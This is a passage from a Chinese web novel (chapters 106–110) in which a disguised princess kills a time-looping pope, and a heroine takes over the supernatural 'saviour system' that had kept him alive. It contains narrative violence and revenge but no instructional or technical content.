她满心满眼都是被铁链锁住的姐姐, 焦急的情绪写在脸上。 西里尔短促轻笑:“你才是全场最理智的人。现在,把乔治安娜的尸体还给我, 我还能放过你们。” “我们要怎么相信你?”奥黛丽头脑清醒, “你刚刚就想留下我姐姐,撕毁承诺。” “你想和我谈条件?”西里尔抬眸,漫不经心道,“正好,按照婚书上的名字,你才是正经的公爵新娘。不如你代替你姐姐做人质,等其他人撤离,再和我交换?” 奥黛丽怔住,真的顺着他的话开始思考。 “奥黛丽!”赫尔曼的脸色难看至极, “别犯傻!他的话不可信。” 海因里希从听见乔治安娜的名字开始,眼底就翻滚着阴沉的情绪。 他缓缓上前:“我留下。” “海因。”西里尔笑容弧度扩大, 呢喃似的说,“乔治安娜会很高兴, 你可以陪她。” “你不配叫她的名字,她的灵魂因为你而不得安息。”海因里希盯着他,眼底滑过嘲讽,“现在,让你的教徒都撤出山洞。” 他缓缓解开外衣,只见腰上赫然绑着一圈火药! “不是只有你能带着所有人同归于尽。”海因里希面容平静。 西里尔笑容渐渐消失,脸色阴沉,良久才摆摆手,示意洛奇带着教徒们离开。 “你们也走。”海因里希瞥向赫尔曼。 奥黛丽知道现在不是逞英雄的时候,只犹豫两秒就跟着赫尔曼离开。 海因里希和西里尔彼此威慑,这是其他人唯一能够全身而退的办法。 “等等,所有人都走了,谁将乔治安娜还给我?”西里尔忽然开口,淡金色的眼睛盯着正在起身的伊莎贝尔,暗示得很明显。 海因里希神色不善:“让她走,只留我一个人。” “别糊弄我,海因。”西里尔轻蔑笑道,“比起将尸首交给我,我更相信你会等伊莎贝尔离开后,拼着同归于尽的危险,也要让你母亲安息。” 海因里希绷紧下颌。 伊莎贝尔不动声色地垂眸,“再浪费时间在怀疑上,恐怕冰块要彻底化了。” 现在,三个人各占据一个方向,谁也不能轻举妄动。 都是熟练掌握火器的人,彼此都很清楚,但凡注意力稍微松懈一刹那,平衡就会立刻打破。 忽然,角落里一道佝偻的身影站起身。 她整个人裹在黑袍里,露出半张被火烧的丑陋面孔,哆哆嗦嗦地向西里尔比划着什么。 海因里希眸光顿住,立刻意识到,汉娜在假装自己是被他威胁着带路而来的。 “你也滚出去!”海因里希毫不客气地呵斥。 汉娜吓得一抖,一副害怕的样子,连滚带爬地向西里尔靠近。 可是还没走多远,就听见西里尔的声音响起。 “站住。” 西里尔睥睨着匍匐在地的老修女——他记得这个女人,是伽蓝圣殿的女仆,灰扑扑的隐形人,老实木讷,胆怯又丑陋。 这样的人被海因里希威胁着带路,倒不是不能理解,可是一贯的戒心令他不得不防备。 “你也出去。” 老修女动作顿住,她害怕地抬起头,像是被吓得懵住。 西里尔眸光微凝。 伊莎贝尔也在那一瞬间,和老修女的目光对视。 不,应该说,从汉娜一进门,伊莎贝尔就注意到了这个不起眼的修女。 她再次隐晦地扫了眼乔治安娜的尸体——融化的冰水夹杂着些许褐色,渐渐腐烂的尸体头发呈现黑色,不靠近无法察觉,但如果待会儿要近距离交给西里尔,一旦他发现异样,后果不堪设想。 而此刻……那个修女的眼神,让伊莎贝尔思绪开始飞转。 在察觉冰棺尸体不对劲开始,她就有一个可怕的猜想,只是没有机会论证,也不敢表露情绪让西里尔发现。 她曾在斯宾塞庄园看过乔治安娜的画像,也听过海因里希的描述。乔治安娜和女王塞拉菲娜不太一样,她生了一头褐色卷发,在阳光下漂亮得像上好的丝绸。 可是那具尸体或许是从一开始就保存在冰棺里,这么多年来,包括西里尔也没有机会打开仔细观摩。 直到大火将冰棺融化,伊莎贝尔发现,那头长发开始褪色! 是的,那不是褐色的头发!被冰水冲刷后,露出原本黝黑的色泽。 也就是说……这具尸体很有可能不是乔治安娜。 可如果……如果这具尸体不是乔治安娜,那么真的乔治安娜在哪?在死亡的情况下,神通广大如西里尔,是什么样的情况下会搞错尸体?除非是,她还活着! 如果乔治安娜还活着,现在她应该在哪?她最想做什么?什么人有本事在伽蓝圣殿调换尸体? …… 伊莎贝尔思绪飞转,最终停留在汉娜那道意味深长的眼神里…… 倏然,她愣住,而后死死攥紧手指,克制住震惊的神情。 索菲娅的遗物在脑海中闪回、乔治安娜尸体周身的铃兰花、还有那个老修女…… 电光火石间,某种不可思议的线索开始串联。 索菲娅难道猜不到,自己的遗物只有经过西里尔盘查才会送出吗?她那枚铃兰发饰,真的只是暗示西里尔复活乔治安娜的仪式? 可是按照西里尔的计划进行,无论如何,伊莎贝尔都是他选定的祭品,不管索菲娅有没有提示,最终她都会来到密室里知道这个真相。 所以……所以索菲娅根本用不着提示这些! 她是在告诉自己,乔治安娜的秘密! 伊莎贝尔全身的细胞都战栗着,极力咬紧牙关。 索菲娅又是怎么知道这个秘密的? 按照逻辑推理,她死在伽蓝塔顶,死前也在找这个藏身于墨菲斯山洞里的密室,只是失败了。 而她之所以要找密室确认,是不是因为察觉了什么?她明明没有像自己这样亲眼看见乔治安娜尸体的异常,又怎么对此怀疑?连西里尔都没有发现的秘密,索菲娅却能知道,是不是因为……她看见了活的乔治安娜! 活的乔治安娜在伽蓝圣殿,索菲娅将信物交给自己,是觉得乔治安娜能够帮她? 那么在如此关键的时刻,她会出现在哪? 伊莎贝尔只觉得浑身血液逆流,思绪以难以想象的速度流转——她再次抬起头,看向那个老修女。 看似漫长,实则是很短的一秒。 她看着修女丑陋的疤痕、佝偻的身姿、整个人的气度畏缩得像阴沟里的老鼠…… 没有任何人会相信,这会是一位公主。 这也是唯一能解释,为什么连西里尔和海因里希也无法认出她。 为了隐藏身份,能够将自己彻底改变到故人都难以相认的地步……她承受了多少? 宁愿付出巨大的代价,在刀尖上行走,也在潜伏多年,她的目的不言而喻。 伊莎贝尔缓缓闭眼,迅速恢复平静的神情,抬起头自然道:“西里尔,既然我们彼此不信任,不如……就让你的下属留下,让她将乔治安娜的尸体交给你。” 老修女汉娜眸光微动,她又看了伊莎贝尔一眼。 这一眼,她停留的时间更长——那个聪敏的女孩,发现了这个深藏许久的秘密。 伊莎贝尔也看着汉娜,无言的对视里,冰蓝色的眼睛读懂了对方传递的信息—— 她知道自己猜到了她的身份,刚才那句话,是递台阶。 汉娜蛰伏多年,需要这个接近西里尔的机会。 当着其他人的面,汉娜仍旧维持着那副怯懦庸常的模样,仿佛伊莎贝尔提出的建议令她很害怕,是将自己往火坑里推。 而正是她的反应,令西里尔审视数秒后,忽然点头:“可以。” 汉娜垂眸,她乖顺地起身,用简易的推车装起“乔治安娜”的尸体。目光落在那头黑发与脸上腐烂的疤痕时,滑过不易察觉的痛色。 她的动作很快,全程没有和伊莎贝尔交流。 只是擦身而过时,她听见耳边传来那个女孩极轻的声音:“无论如何,要活着。” 汉娜顿住,隐藏在黑布中的眼睛闪烁着晶莹。如果是普通的时刻,她也许有千言万语要说,可是紧要关头,她只是露出一个和蔼的微笑,一闪即逝。 伊莎贝尔看着她的背影远去,一步、两步……推着尸体缓缓靠近西里尔。 汉娜的视线里,穿着白袍的男人模样不曾改变,依旧维持着神圣与高傲。 他全副心神都放在推车里的尸体上,丝毫没有注意到灰扑扑的修女。 是的,他从不会将心神放在不重要的人身上——而重要与否,谁又说得清呢? 乔治安娜曾经并不重要,可是突然在某一天,却超越了所有,成为他标榜爱的砝码,连尸体都要被妥善地收敛,甚至妄想有一天将她复活。 而此刻,“乔治安娜”的尸体正在淌水,逐渐暴露的尸体真容,一旦靠近,就再也无法隐藏—— 汉娜却丝毫没有慌乱,仍旧稳步靠近,手缓缓垂落,刀锋在袖中一闪而过。 她等待这个机会很久了。 西里尔的身边守卫森严,从不许任何人近身。路德维希带给他的不仅是屈辱与冒犯,还有深深的危机感与某个关键抉择错误的懊悔。 懊悔,真可笑的懊悔。 距离一步之遥,汉娜脚步顿住。 西里尔的视线终于落在“乔治安娜”的脸上,刚要伸出手,目光却凝住——没有冰棺的遮挡,那头黑发映入眼帘,清清楚楚。 “黑色?”西里尔喃喃自语,手停在半空。 他无法形容那一刻的情绪,有震惊,有茫然…… 黑色的头发? 她不是乔治安娜? 那她是谁?真正的乔治安娜在哪? 他保存这么多年的尸体,不是乔治安娜?是谁骗了他! 他几乎瞬间双目血红,前所未有的怒意涌上心头,就在爆发的前一秒,一道熟悉的声音近在咫尺—— “西里尔。” 西里尔僵住,某一瞬间,他以为自己幻听,或是因为愤怒产生错觉…… 也是这一秒,他几乎没有设防地转头看向声音来源——那个不起眼的修女,摘掉了头巾,露出一张满是伤疤的狰狞面孔。 他审视过这张丑陋的脸,可是此刻,那双眼睛里没有刚才的怯弱与卑微,像是躯壳里换了一个新的灵魂。 一个他无比熟悉的灵魂。 西里尔盯着那双眼睛,忘了该怎么发声。 他听见自己的声带颤抖,“乔治安娜……你回来了?” “是我。” 乔治安娜看着近在咫尺的西里尔,缓缓露出笑容:“好久不见。” 西里尔扯开嘴角,几乎是下意识回应。可是不等开口,一股剧痛袭来! 他低头,胸膛破开一个血洞,正在汩汩流血。 第107章 鲜血溅在脸上, 乔治安娜面无表情,捅了一刀又一刀,直到西里尔闭上眼睛。 她喘息着,手臂微微颤抖,看着昔日不可一世的教皇,就这么轻易地被自己杀死。仿佛过往的爱恨也如同脆弱的生命一般,化为指尖流沙,随风飘散…… 她以为自己会痛快无比,是的,看着西里尔死去的那一刻,她只觉得呼吸终于畅快。 路德维希面目全非的尸体、海因里希生病发疯的模样、凋零的查尔维斯庄园……那些萦绕在心头的恨,折磨得她日日夜夜不得安眠,现在终于手刃罪魁祸首,她当然应该痛快。 可是,当鲜血流淌在掌心,带着灼烫的温度,她却落了一滴泪。 那滴泪落在西里尔的脸上, 又悄悄滚落进衣领,好像也是他流的泪。 哭什么呢? 乔治安娜木楞地擦拭眼角。 这么多年的岁月里,她以为自己已经没有了眼泪。 她这一生啊,大多时候都是痛苦的。 所谓王室的公主,实际是荒淫的国王乱/伦的产物,母亲自缢,而她也被视为不祥。她能长大,都是因为有姐姐。 前半生,她的世界里只有姐姐塞拉菲娜,那是她唯一的依靠, 所以她甘愿主动代替塞拉菲娜成为伽蓝圣殿的圣女。 来到圣殿后,她短暂地爱过西里尔。这世上很难有人对神明的偏爱视而不见。 她见识过他改变世界的能力,那让年轻的她以为,自己也有创造美好生活的可能。 她分不清那是向往还是爱情,或是二者都有。 她甘心成为圣曜的信徒,当那缕光照进世界,前半生的阴霾仿佛一扫而空,她可以笑着进入新的人生。 被西里尔放弃时,她其实没有很深的痛苦。被遗弃或是被利用的滋味太熟悉,没什么大不了。只是心里叹息一句:果然如此。 她就像随波逐流的船,永远没有停泊的港湾,命运想让她飘去哪里,她就去哪里。偶尔会乐观地想,也许那也是新的人生。 年轻的公主,在刚成年的年纪,还期待着新的人生。 后来,她真的短暂地拥有了它——原来这个世界上会有路德维希那样的人。 他又聪明又愚蠢,总是做出所有人都反对的事情;他沉默寡言,从来不会说好听的话;他是个彻头彻尾的傻子,即便知道她是代表王室和教会的钉子,也甘愿在教堂里对她许下婚姻的誓言。 那短暂的时光里,他们没有多么感人肺腑的爱。他这一生,甚至连那个字眼都不曾提及。 爱究竟是什么? 是书里说的天长地久,还是生死相依?乔治安娜不明白。 她只记得那双黝黑的眼睛里夹杂着笑意,察觉她的注视,又匆忙低头的那一秒;是婚礼教堂里,他扛着母亲的反对,将戒指戴上她的无名指;是生产那天,她做好了离开这个世界的准备,可在昏迷前的那一刻,她看见那个刀枪不入的男人,滴在她脸上的泪…… 她接住了那滴眼泪,这一生,却没来得及回答。 早该知道的,命运对待她,从来无情。在小船以为终于找到了停泊的港湾时,又用狂风暴雨将它摧毁。 她不止一次地虔诚跪拜墨菲斯雪山,期望着这座亘古不变的山峰或许能聆听她的哀求,让一切重来吧,让时光倒流。 可是回答她的只有寒风呼啸,神明似乎在嘲笑她,一个棋盘里被操纵的棋子,也妄想改命? 好痛啊,麻木的心脏在这一刻剧烈地抽痛着。 什么是神明?这个世界的神明为什么选中西里尔?为什么肆意操纵她的人生?她疯了般地想要复仇,终于杀了西里尔,可是谁将失去的还给她? 那段无风无雨的平静岁月早就消失在命运的浪潮里,了无痕迹。 “当啷”一声,匕首掉落在地。 复仇结束了。 她仰头,擦掉泪水微笑,眼神空空荡荡。 良久,她扯开嘴角,露出微笑,回头道:“你们快走。” 海因里希怔忪地望着她,那句久违的称呼哽在喉头,却怎么也说不出口。 那是他的母亲,是他以为亲手杀了祖父和父亲、不曾爱过自己的母亲……原来她一直潜伏在西里尔身边,即便儿子出现在眼前,也没有机会相认。 “快走吧。”乔治安娜再次重复,褐色的眼睛望向海因里希。 她的脸明明那么可怖,却和记忆里美丽的模样重叠,温柔而娴静。 “您跟我们一起走。”伊莎贝尔缓缓走向乔治安娜,“等一切结束,查尔维斯庄园还等着您的回归。” 她顿了顿,“海因和您也一定有很多话要说。” 乔治安娜垂眸,沉默许久,忽然道:“好,你们先出山洞,我要把西里尔的尸体处理了,否则伽蓝圣殿那边没法交代。” “我们帮您。” “不用,我现在是神殿仆人,以我的身份更好解释。” 合理的理由无法反驳。 伊莎贝尔没说话,只是接过海因里希的火器,对着西里尔的胸膛开了两枪,再探着他的脉搏确定没有生命迹象才退了出去。 出了山洞,伊莎贝尔趴在海因里希的肩上,感受着扑面而来的寒风,终于长松一口气。 远处山腰,奥黛丽和赫尔曼带着守卫等候在那里。 看见二人的身影,奥黛丽激动挥手:“我——们——在——这!” 伊莎贝尔微笑,挥了挥手回应。 “一切终于结束了。”海因里希也扯开一丝笑。 “嗯,等公主……”伊莎贝尔顿了顿,忽然挑眉笑,“等母亲出来,你还是背母亲吧?” 海因里希没想到这么快就面临婆婆和媳妇同时掉水里的难题,无语半天,没好气道:“你的腿受伤了,母亲不会计较这些。” 顺口将那句称呼说了出来,海因里希反应过来,不自在地垂头。 “是的,海因,她是你的母亲,无论过去发生多少误会,她都不会计较。”伊莎贝尔盯着他,笑道。 海因里希面色复杂,忽然长叹一口气:“我和她……不是很亲近的母子关系。” “但她一定很爱你。”伊莎贝尔顿了顿,轻声说,“你记得那份突然出现的救命草药吗?赫尔曼说,它来自圣匹斯堡。从前无法解释的来历,现在终于清楚了。” 海因里希彻底愣住,眼眶泛红,很快撇过头。 “她背着仇恨无法离开,却没有停止爱你。”伊莎贝尔抚摸着海因里希的侧脸,轻声说,“别怨怪她。” 海因里希深吸一口气:“我不会。” 海因里希挤出微笑,两个人同时看向山洞的方向。 山洞里,乔治安娜背对着众人站立,不知在思考什么。 “出来吧,母亲。”海因里希忽然喊。 乔治安娜僵住片刻,缓缓转头。 她眼神里似有万千情绪,最终化为淡淡的哀伤。 她也跟着挥了挥手,嘴里说了什么。 隔得太远,夫妻俩听不清。 就在海因里希想靠近时,伊莎贝尔脸上剧变:“小心身后!” 山洞里,一只染血的手攥紧乔治安娜的脚踝,旋即响起发颤的笑。 “为了那个男人,你要杀了我……” 乔治安娜猛然回头,那一瞬间,她看见本该死透的西里尔,竟然摇摇晃晃地站了起来! 她不确定这是人是鬼,下意识捡起匕首,还没动作就被西里尔按住手腕。 “乔治安娜……”他的声音轻得可怕,混合着笑声紧贴在她耳边,“你忘了吗?我是神……神明是杀不死的哈哈哈哈。” 他说话时,其他人听不见的系统机械声同时响起。 “自动消耗一百积分恢复生命体征。” “宿主,再次提示您,积分有限,请以改变世界的主线为重。宿主,再次提醒您,积分有限……” 系统提示响起时,时间停滞,仿佛被划分在了另一个空间,所有人像木偶般停顿。 然而,远处的伊莎贝尔缓缓抬眸,震惊于了然同时出现在眼底。 系统? ! 原来是这样…… 所谓的神明、所谓的神迹,都来自不属于这个世界的东西。 伊莎贝尔攥紧手指。 真巧啊,不属于这个世界的,可不止一个—— 作者有话说:还有下一章!但是会很晚,现炒!你们先睡觉,明天起来看。 第108章 “别过来, 让我和你母亲好好说会儿话。”西里尔撩开眼皮,警告正要靠近的海因里希。 山洞里,他挟持着乔治安娜走向自毁机关前。 鲜血染红他的白色长袍,也染红了淡金色的眼眸。他眼底燃烧着疯狂的笑意,“还记得这里吗?乔治安娜。” 他强行捏着乔治安娜的下巴,迫使她看向山洞里诡异的复活祭坛,上面是用人血喂养的铃兰花,在严寒的冰层里绽放。 “这是我为你准备的礼物,原本想等你复活后,第一眼就能看见这些花。”西里尔的声音轻得诡异, “不过现在也一样, 我就当复活仪式生效了, 看, 它们美吗?” “是阿尔伯格留下的邪术,也是你曾经最厌恶的愚昧伎俩。”乔治安娜攥紧手指, “西里尔,你自诩是文明与科学的化身,现在居然走上了老教皇的路,不觉得可笑吗?” “可笑?”西里尔轻声重复,扯开一丝笑,“那你告诉我,我应该找什么方式复活我的爱人。” “爱人……”乔治安娜闭上眼,讽笑, “你的表演精湛至极,演得连自己都深信不疑。” “你说你爱我,可你直到今天都不知道,我并不钟爱铃兰花,那只是塞拉菲娜送给我的礼物。”乔治安娜睁开眼,望着西里尔,“你说你爱我,曾经却为了权力放弃我利用我。你说你爱我,却亲手毁了我的生活。” “你不是爱我,你只是无法接受我不爱你。”乔治安娜步步紧逼,语气平静,每一句却像刀锋般尖锐,“你无法接受对一个普通女人赐予垂怜,却没有换来成百上千倍的信仰。你无法接受这个普通女人在神明和普通男人中间选择了后者,你无法接受自己的失败,即便那只是一场无聊的竞争。” “西里尔。”乔治安娜嗤笑,“你这个高高在上的神明,知道什么是爱吗?你学得会爱吗?” “七岁,你亲眼看着父母兄弟被阿尔伯格杀死,心安理得地成为无牵无挂的圣子;十四岁,你借我的手杀了阿尔伯格登上教皇神座,受万民敬仰;十八岁,你要我嫁给路德维希,成为你的刀。” “你从不曾爱任何人,你爱的永远是你自己。” “如果你不是教皇,没有拥有非凡的能力,还会为我选择路德维希而不平吗?”乔治安娜一字一顿,轻蔑笑道,“你和他,多么显而易见的选择啊。” 西里尔双目渐渐赤红,重重的喘息声压抑着情绪。 乔治安娜闭上眼,做好迎接暴怒的准备。 这个世界上,只有她最清楚怎样触怒眼前的男人。 他们相伴着走过少年期,曾经一起攀登过这座皑皑雪山;他们同吃同住,看同一本书,并肩看日出。她知道他为年幼时无力救下家人而痛苦,每每想起都要鞭笞阿尔伯格的尸体泄愤。 他帮塞拉菲娜登上王位,又将老国王的尸首喂狗帮她出气。她知道年轻的教皇私底下多么幼稚恶劣,也知道他整夜睡不好觉,常在梦中惊醒,坐在屋顶看月亮直到天光破晓。 她更知道,作为被神明选中的人,他骄傲自负,可是占据大多数时光的是厌倦与寂寞。 在权力的苦海中沉浮,他不再是那个兴致勃勃执掌乾坤的少年,他终于明白站在那个位置失去的是什么。可教皇的冠冕一旦戴上就难以摘下,他不能摘,也不敢摘。 摘了还剩什么呢? 潘多拉的魔盒选中了七岁的孩子,他还不知道打开那个盒子要付出多少代价。命运将他推向山顶,甚至没有打声招呼,就决定了他全家的生死。只因为改变世界的圣子一定是一身孑然。 走向山顶的路上,最先死亡的是他的亲人。 后来,脚下的尸骨越多,头顶的冠冕就越沉重,他只能告诉自己,成为神明多么伟大,这条路多么传奇。 可就像她说的——到最后,剥开权力的外衣,他和路德维希之间,要选谁是多么轻易。 那是一个有血有肉的灵魂,而他呢,只是披着华丽外袍的骷髅。 她理解他的全部,知道他从不曾说出口的痛苦,才最擅长往最痛的地方扎上一刀。 金色长发遮着西里尔血红的眼睛,乔治安娜闭着眼,却没到生命结束。 良久,只听见一声嗤笑。 “是,我就是当之无愧的神,我当然不需要爱。”西里尔咧开嘴大笑,笑得颤抖,“我不需要你爱我了,乔治安娜……” “我会学着爱你,我发誓,我会改。路德维希能做到的,我也会做到,我们重新开始……” 乔治安娜的眼神渐渐冰冷,她微笑:“别提他,你不配。” 这个名字又让仇恨在心底翻涌,她猛然夺过匕首,再次刺向西里尔—— 就在西里尔抵挡的一瞬间,乔治安娜的刀锋调转方向,往自己的脖颈刺去! 来不及阻止,几乎是同一时间,西里尔下意识用自己的手腕替她挡住。 这一刀割伤血管,令他行动受阻,乔治安娜立刻又刺出一刀! 西里尔闪避不及,任由她将自己刺成血窟窿。 最后咧开嘴,吐出一大口血,笑意癫狂:“痛快了吗?我不会死,除非我们一起葬在这里……” 乔治安娜扔下刀,她看着西里尔泛红的眼尾,又看了眼山洞外的伊莎贝尔和海因里希。 那一眼,令外面的二人有种不祥的预感,就在他们想要阻止的瞬间,乔治安娜狠狠按下引爆的阀门—— “砰——” 剧烈的声响,地动山摇,冲击波让天地俱静。 外面的人被震晕,里面的废墟更不可能有生命的迹象。 良久,一只手再次从石堆里伸出,伴随着系统的警报。 “宿主,短时间内再次濒死,积分不足,无法复活。第三十九次时间线开始结算,记忆加载中——” 西里尔神色开始变幻,过往第三十八次记忆迅速涌入脑海。 他摇摇晃晃地站起,终于找到被压在废墟里的乔治安娜,他跪地徒手扒开石头,拼命用衣摆擦拭她伤口的血,却怎么也堵不住。 他似哭似笑,笑意癫狂:“第三十九次了……我只是……想改变这个结局……” 他大笑着,到最后却变成轻声呢喃,“第三十九次轮回,为什么还是同样的走向……” 外面传来轰隆巨响,爆炸引发的雪崩即将来临,西里尔却木然地盯着乔治安娜的脸,渐渐平静。 “没关系,那就开启第四十次吧。”西里尔嗓音干涩,“系统,这一次,我要保留原始记忆。” 以往失去记忆的重生,似乎都在重蹈覆辙。过程虽然有些不同,结局都一样。 他轻轻抚摸乔治安娜的脸:“这样,我就不会再做出错误的选择。” “我会比路德维希做得更好,我不会成为教皇,我不会登上这座山,我会以一个普通人的身份遇见你。我会在第一次见你时,就学着爱你。” 雪崩声越来越近,带着覆灭一切的气势。 西里尔闭上眼,缓缓贴近乔治安娜,等待熟悉的光晕降临。 可是这一次,系统却迟疑了。 “宿主,重生不允许携带原始记忆,这会导致时间线错乱,你的积分任务会彻底失败。” “那就失败吧。”西里尔嗤笑。 系统:“再次提醒您,我是救世主系统001,绑定您的初衷是因为您肩负改变世界,创造丰功伟绩的能力。如果您背离主线……” “背离又怎么样?!”西里尔倏然睁眼,冷笑,“救世主?丰功伟绩?!你们问过我的意愿吗?一个七岁的孩子,被选中做救世主?我做的还不够吗?我的积分足够让你成为你们世界的佼佼者!所以你才容忍我重生三十九次!” “别装傻了,真正的神明是你们。我这个神明的代言人,也只是你们的傀儡……”西里尔笑得颤抖,仰头时金发凌乱,丝毫没有平日的光鲜,“可笑我年少轻狂,以为是命运的恩赐,等到醒悟,却无法回头了。” 系统沉默,它知道西里尔说得对。 任何纵容都有代价,被赋予多少能力,就必须完成多少任务,而这也需要宿主具备极高的素养与能力。 如果放弃西里尔,它难以找到下一个匹配的宿主。 正是因为这一点,西里尔有恃无恐,他收敛笑容,沉声道:“开始重生。” 系统无言,片刻后,只能照做。 淡淡的金光流转在西里尔周身,光芒愈发盛大,就在即将形成圆环时,一个身影忽然出现在光圈里。 “重生?” 带着嘲讽笑意的声音由远及近。 西里尔睁眼,愕然望着本该埋葬在雪崩里的伊莎贝尔出现在眼前。 她身形摇摇欲坠,眼神却无比清醒,“西里尔,你害了那么多人,以为重生就能磨平一切吗?每一个时间线,因为你受伤害的人就不存在吗?” “你不是神明,倒是将神明漠视生命的傲慢学得十足的像。” 西里尔脸色渐渐沉重:“你怎么听得见我和系统的对话!” 伊莎贝尔嗤笑,缓缓举起火器瞄准西里尔。 现在,濒死只剩系统帮忙吊着最后一口气的西里尔,根本无从躲避即将到来的一枪。 “你以为你才是最特别的人,因此高高在上、对谁都不屑一顾。”伊莎贝尔一字一顿,“那你有没有想过,有人比你还有特别。你被命运选中,而我……更喜欢选择命运。” 在西里尔错愕的眼神里,她顿了顿,看向停止流转的光晕。 从未想过有第二个人看见的系统,不知所措地闪了闪,露出原型——是一本长着翅膀的书,厚重得有些胖乎乎。 “救世主系统001。”伊莎贝尔忽然开口。 系统下意识:“在。” “你的前任宿主已经失去价值,有兴趣换一个宿主吗?” 001愣住。 西里尔倏然抬眸,咳出一口血:“你想做什么?!” “你当腻了神明,那就换我当。” 伊莎贝尔向001伸出手,“过来。” 胖书挥动翅膀,金色光芒扫视她全身,似乎在审视这个人是否有宿主资质。 可是关于她的一切, 001甚至没有权限查看,而这也意味着,面前的女人或许来自更高级的文明。 可无论她的底细是什么, 001察觉周身的光芒更加明亮,这足够确认伊莎贝尔有资质承担救世主重任。 它高兴地挥动翅膀,原地转了个圈。 001早就受够了西里尔的无尽循环,这害得它重复打了三十九次工!现在能跳槽,它高兴得失去了平时的稳重。 “宿主,请您再次确认,是否绑定救世主001系统?” 伊莎贝尔:“是。” “契约成立,001很高兴为您服务!”胖书扇动翅膀,金色光芒彻底脱离西里尔,融入伊莎贝尔的身体。 失去系统滋养的西里尔,彻底没有生气,软倒在废墟里。 他的嘴巴一张一合,吐出一大口血。 鲜血浸润衣摆,缓缓流淌。他艰难喘息,看向乔治安娜的方向,用尽全身力气往那边爬,即将抓住她的手时,被伊莎贝尔挡住。 西里尔力竭,闭着眼喘息:“让……开。” “和她死在一起的殊荣,你还不配拥有。”伊莎贝尔平静地看着西里尔,“你到现在都没有明白什么是爱,又凭什么自以为重生就能改变一切?” 西里尔盯着她,淡金色的眼睛血丝密布,似乎在质问她。 伊莎贝尔目光平和:“如果是路德维希拥有001,他会还她一个平静的人生,而不是一次又一次的重来。现在,你明白你们的差别吗?” 西里尔双目顿住。 鲜血的流速越来越快,眼前开始出现过往的一幕幕。 什么是爱,他不明白。没有人教过他爱。 他只学会占有和掠夺,就像攥紧手中的权力一样。可抓得越近,失去的就越快。明明一开始,是他先遇见她的。 她第一次杀人、第一次心动、第一次种下铃兰花、第一次看日出、甚至第一次来月事,都是他在身边见证或帮助。年少相伴的情感,从陌生到熟悉,有吵闹有和好,少年人以为会这样平淡地度过一生。可经年已过,回首往事,原来朦胧的情感早就缠绕骨髓,成为生命不可分割的部分。 爱意像错开的齿轮,始终没有吻合的时刻。 而他恰好卑劣自私,以为低下高傲的头,就能要挟着换回一份失去的情感。 占有和掠夺印刻在基因里,他这一生,怪不了任何人,都是活该。 西里尔笑得发抖,鲜血汩汩流淌,他缓缓收回手臂。 生命的最后时刻,他终于学会放手。 “祝你……来生别再……遇见我。” 手臂突兀砸在地面,他闭上眼,失去气息。 系统播报死亡,伊莎贝尔没有继续补枪,只是站在原地片刻:“001,请用剩余积分帮助乔治安娜复活。” “是,宿主。” 金色光芒运作,运转到一半时,乔治安娜缓缓转动眼球,可是系统突然停顿。 “宿主,因为绑定关系变更,西里尔的积分已经全部冻结,无法使用。” 伊莎贝尔蹙眉:“该怎么攒积分?” “要通过完成推动科技文明积累,一时半刻无法累积。”系统为难道,“或许你可以先效仿西里尔的办法,把需要复活的对象放在冰棺里保存。” 他的话没说完,一只手轻轻搭上伊莎贝尔的胳膊。 伊莎贝尔猝然低头,对上乔治安娜虚弱的微笑。 系统愣住,迅速扫描周身,遗憾汇报:“宿主,乔治安娜女士的时间不多,请您尽快做决定。” “好。” 伊莎贝尔立刻阻止乔治安娜说话,“我会救活您,放心……” “不……”乔治安娜忽然摇摇头,眼底流露释然的微笑,“别为我费心。” 她偏头看了眼死去的西里尔——她太清楚神明不会轻易死去,而眼前的伊莎贝尔信誓旦旦救活自己,已经说明那份神力转移到了哪里。 “西里尔已死,海因有了你……我没有其他的牵挂。”乔治安娜微笑,勉力交代着后事,“贝丽是我的贴身女仆……她的女儿因我而死,又顶替我在冰棺里不得安息,请帮我好好安葬她……再照顾好贝丽……” “好,我答应你。”伊莎贝尔点头,关切道,“可是请您不要放弃生的希望。” 乔治安娜艰难摇头:“孩子……成全我吧,我……” 她缓缓闭上眼,泪水滑落,“命运总是愚弄我,人生的大多数时候……我都无法选择怎么活……现在,我想早早地去见他,告诉他从前没来得及说的答案……” “我……实在太想念他了。” 伊莎贝尔凝望着乔治安娜,劝慰的话再也说不出口。 她看着怀里的身躯渐渐冰冷,那张脸上却挂着安详幸福的微笑。 不知过了多久,墨菲斯雪山寒风呼啸,吹入洞xue。 除了因为系统的影响始终保持清醒的伊莎贝尔,山洞外的人都被冲击波震晕,陆陆续续从雪里爬起来。 海因里希是第一批醒来,他披着满头的白雪,目光凝滞。 伊莎贝尔深吸一口气,压下心底沉甸甸的情绪,“海因……” 后面的话说不出口,也不必多说。 海因里希看着乔治安娜的尸体,又看着她脸上安详的笑意,沉默许久。 “知道她爱我,也爱着我的父亲……我已经没有遗憾。”海因里希垂眸,极力掩饰通红的眼眶。 他伸出手,缓缓合上乔治安娜的眼睛。 终于,一滴泪水砸在母亲的脸上。 “圣经里常说有来生,愿你来生顺遂。”海因里希喃喃。 伊莎贝尔默然片刻,在心里说:“系统,攒够的第一笔积分,请帮我完成一个心愿。” 系统:“什么心愿?” 伊莎贝尔看着乔治安娜的脸,缓缓道:“我不清楚你们会怎么实行,但是无论如何……请还给她一个平静美好人生。” 系统沉默,脑中运算片刻:“收到,可以完成。” 平静美好,是乔治安娜的执念,可她终其一生也没能得到。 山洞外,风突然停了,似乎听见了祷告。 伊莎贝尔仰头看向天空,碧蓝澄澈,也无风雨也无晴—— 作者有话说:炒了一晚上,久等 第109章 章节锁定 第110章 多年以后的历史书上记载, 伽蓝神塔倒塌的那一天,是世界为之改变的开端。 教徒们被羁押,以洛奇为首的教皇近侍受不住拷打,终于吐露这座神殿的所有污秽与黑暗。 圣匹斯堡的民众一开始并不相信,直到那座焚化炉暴露在阳光下。 经年的骨灰堆积了一层又一层, 他们曾经以为被选拔上山是殊荣, 现在才知道, 承载家族荣耀的幸运儿是这座大殿的养料,是连名字都无法留下的灰烬。 修女们也被移送下山,她们没有舌头,有的还被挖眼睛断手脚,那些经年的旧伤和惨痛的证词落在众人眼里,所有的反对声都消失了。 报纸一连数月都刊登了相关消息, 这里发生的一切,开始大范围传播。 当事情开始发酵, 杂音就渐渐出现。 有人质疑这是蓄意抹黑宗教,抹黑西里尔。 直到五个有头有脸的家族联合斯宾塞公爵府一起召开发布会。 冰棺里的五具女性尸体和尸检报告作为证据出现, 揭开了教皇的血腥仪式。 